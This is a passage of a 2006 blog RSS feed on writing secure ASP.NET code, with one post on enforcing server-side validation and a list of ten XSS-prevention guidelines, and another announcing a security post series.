when the associated control of the action has a causesValidation property set to true,
the action invokes the Page.Validate() 
&lt;br&gt;
method which check the validation of the page, and sets the Page.IsValid property
to true or false if the validation succeeded or not respectively 
&lt;li&gt;
Logic associated with the action of the control is being executed&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
Suppose the user has managed to cconduct some validation tempering on the client side
(this is really not a hard task to acomplish),&lt;br&gt;
and posted the data manually as a postback.&lt;br&gt;
The server gets the posted data and addresses it as a postback from the page, and
it begins to proccess the data, invokes the Page_Load (with absolute no indication
if the data is valid or not), &lt;strong&gt;executes the Page_load&lt;/strong&gt; method completly
invokes the given operation(say button_click) and executes it completely.&lt;br&gt;
This way if we wont comit Page.Validate() and then check the Page.IsValid method ,
we are risking here with an XSS vulnurability.
&lt;/p&gt;
&lt;p&gt;
Q : So, what is the best way to conduct a server validation ?&lt;br&gt;
A : First, create those validators as you always do.&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Then apply this code on your page (or your master page) :
&lt;/p&gt;
&lt;p class=HighlightedCode&gt;
&lt;span style="FONT-SIZE: 11px; COLOR: black; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;Page.Validate();&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;if&lt;/span&gt;(!Page.IsValid)&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;throw&lt;/span&gt; &lt;span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;new&lt;/span&gt; Exception(&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"Security
Exception occured"&lt;/span&gt;);&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
you can do some other handling besides throwing an exception, like logging, tracing,
a nice message to the user and so on.&lt;br&gt;
Note that this actions will protect you at the Presentation layer but not further
( at the DAL - sql injection , or the&amp;nbsp;Session layer&amp;nbsp;- Session hijacking
and more....)
&lt;/p&gt;
&lt;p&gt;
Here are 10 base guidelines to prevent being an XSS victim :
&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
Never write to page unfiltered data.(or encoded) 
&lt;li&gt;
Never write to the page straight from the user input. 
&lt;li&gt;
Before handling input, Validate that it is really what you are expecting for. 
&lt;li&gt;
Don't expose exceptions to the client. 
&lt;li&gt;
Don't expose Any internal information about the application to the client. 
&lt;li&gt;
Never rely on client side validations. 
&lt;li&gt;
Know the existing threats and vulnerabilities. 
&lt;li&gt;
Don't use built-in features if you're not completely understand what they are doing. 
&lt;li&gt;
Try to think "out of the box" in security related issues 
&lt;li&gt;
&lt;strong&gt;Handle security issue by design, not by mistake.&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/span&gt;&lt;img width="0" height="0" src="http://www.krokhmal.com/aggbug.ashx?id=d11276b4-9a11-4dd6-b40f-4d1f8564fe4a" /&gt;
&lt;br /&gt;
&lt;hr /&gt;Shimon krokhmal, a part of the Krokhmal family</description>
      <comments>http://www.krokhmal.com/CommentView,guid,d11276b4-9a11-4dd6-b40f-4d1f8564fe4a.aspx</comments>
      <category>.Net</category>
      <category>Lessons</category>
      <category>Security</category>
      <category>XSS</category>
    </item>
    <item>
      <trackback:ping>http://www.krokhmal.com/Trackback.aspx?guid=7c22ef12-b6f2-46e1-9c70-6cadfebbc349</trackback:ping>
      <pingback:server>http://www.krokhmal.com/pingback.aspx</pingback:server>
      <pingback:target>http://www.krokhmal.com/PermaLink,guid,7c22ef12-b6f2-46e1-9c70-6cadfebbc349.aspx</pingback:target>
      <dc:creator>Shimon krokhmal</dc:creator>
      <wfw:comment>http://www.krokhmal.com/CommentView,guid,7c22ef12-b6f2-46e1-9c70-6cadfebbc349.aspx</wfw:comment>
      <wfw:commentRss>http://www.krokhmal.com/SyndicationService.asmx/GetEntryCommentsRss?guid=7c22ef12-b6f2-46e1-9c70-6cadfebbc349</wfw:commentRss>
      <slash:comments>1</slash:comments>
      <title>writing secure .Net code for web applications - Prologue</title>
      <guid isPermaLink="false">http://www.krokhmal.com/PermaLink,guid,7c22ef12-b6f2-46e1-9c70-6cadfebbc349.aspx</guid>
      <link>http://www.krokhmal.com/2006/09/27/writingSecureNetCodeForWebApplicationsPrologue.aspx</link>
      <pubDate>Wed, 27 Sep 2006 17:41:45 GMT</pubDate>
      <description>&lt;p class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto"&gt;
&lt;span style="FONT-SIZE: 10pt; COLOR: #003300; FONT-FAMILY: Verdana"&gt;Today I stepped
into my parallel team office just when &lt;a href="http://www.human-debugger.net/"&gt;&lt;span style="mso-bidi-font-size: 12.0pt"&gt;shani
raba&lt;/span&gt;&lt;/a&gt;&amp;nbsp;(AKA - "human debugger") explained to a new programmer the usage
of validators in ASP.NET form.&lt;br&gt;&lt;?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /&gt;
We started an argument about the affectivity of the .Net built-in validators, and
what should you do besides that on the server side, to guarantee no security breaches
through that tiny input that protected by the "mighty" .Net Validator.&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;p class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto"&gt;
&lt;span style="FONT-SIZE: 10pt; COLOR: #003300; FONT-FAMILY: Verdana"&gt;We came to several
interesting conclusions and understanding about aspect of the subject that we didn't
knew.&lt;br&gt;
So, I decided to write a post about that, 
&lt;br&gt;
I came home, and started to write some example on the subject.&lt;br&gt;
The problem is that as soon as I started to cover one aspect of the subject, other
aspects came across that I couldn't neglect.&lt;br&gt;
So I decided to create several posts during this week and the next, which will cover
most of the "secure .Net code for web applications" subject.&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;p class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto"&gt;
&lt;span style="FONT-SIZE: 10pt; COLOR: #003300; FONT-FAMILY: Verdana"&gt;The posts will
refer to:&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;ul type=disc&gt;
&lt;li class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt 0.5in; COLOR: #003300; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list .5in"&gt;
&lt;span style="FONT-SIZE: 10pt; FONT-FAMILY: Verdana"&gt;Cross-site scripting (XSS) 
&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;
&lt;/li&gt;
&lt;li class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt 0.5in; COLOR: #003300; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list .5in"&gt;
&lt;span style="FONT-SIZE: 10pt; FONT-FAMILY: Verdana"&gt;Session hijacking 
&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;
&lt;/li&gt;
&lt;li class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt 0.5in; COLOR: #003300; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list .5in"&gt;
&lt;span style="FONT-SIZE: 10pt; FONT-FAMILY: Verdana"&gt;Hidden field tampering 
&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;
&lt;/li&gt;
&lt;li class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt 0.5in; COLOR: #003300; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list .5in"&gt;
&lt;span style="FONT-SIZE: 10pt; FONT-FAMILY: Verdana"&gt;SQL injection 
&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;
&lt;/li&gt;
&lt;li class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt 0.5in; COLOR: #003300; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list .5in"&gt;
&lt;span style="FONT-SIZE: 10pt; FONT-FAMILY: Verdana"&gt;Cookies and Authentication 
&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;
&lt;/li&gt;
&lt;li class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt 0.5in; COLOR: #003300; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list .5in"&gt;
&lt;span style="FONT-SIZE: 10pt; FONT-FAMILY: Verdana"&gt;some other aspects that I'll encounter
on the way 
&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;
&lt;/li&gt;
&lt;li class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt 0.5in; COLOR: #003300; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list .5in"&gt;
&lt;span style="FONT-SIZE: 10pt; FONT-FAMILY: Verdana"&gt;Your requests... 
&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;
&lt;/li&gt;
&lt;li class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt 0.5in; COLOR: #003300; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list .5in"&gt;
&lt;span style="FONT-SIZE: 10pt; FONT-FAMILY: Verdana"&gt;
&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;
&lt;/span&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p class=MsoNormal dir=ltr style="MARGIN: 0in 0in 12pt; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left; mso-margin-top-alt: auto"&gt;
&lt;span style="FONT-SIZE: 10pt; COLOR: #003300; FONT-FAMILY: Verdana"&gt;So stay tuned
for the next weeks for more about the subject.&lt;br style="mso-special-character: line-break"&gt;
&lt;br style="mso-special-character: line-break"&gt;
&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;p class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"&gt;
&lt;o:p&gt;
&lt;font face="Times New Roman" color=#000000 size=3&gt;&amp;nbsp;&lt;/font&gt;
&lt;/o:p&gt;
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.krokhmal.com/aggbug.ashx?id=7c22ef12-b6f2-46e1-9c70-6cadfebbc349" /&gt;
&lt;br /&gt;
&lt;hr /&gt;Shimon krokhmal, a part of the Krokhmal family</description>
      <comments>http://www.krokhmal.com/CommentView,guid,7c22ef12-b6f2-46e1-9c70-6cadfebbc349.aspx</comments>
      <category>.Net</category>
      <category>Security</category>
      <category>XSS</category>
    </item>
  </channel>
</rss>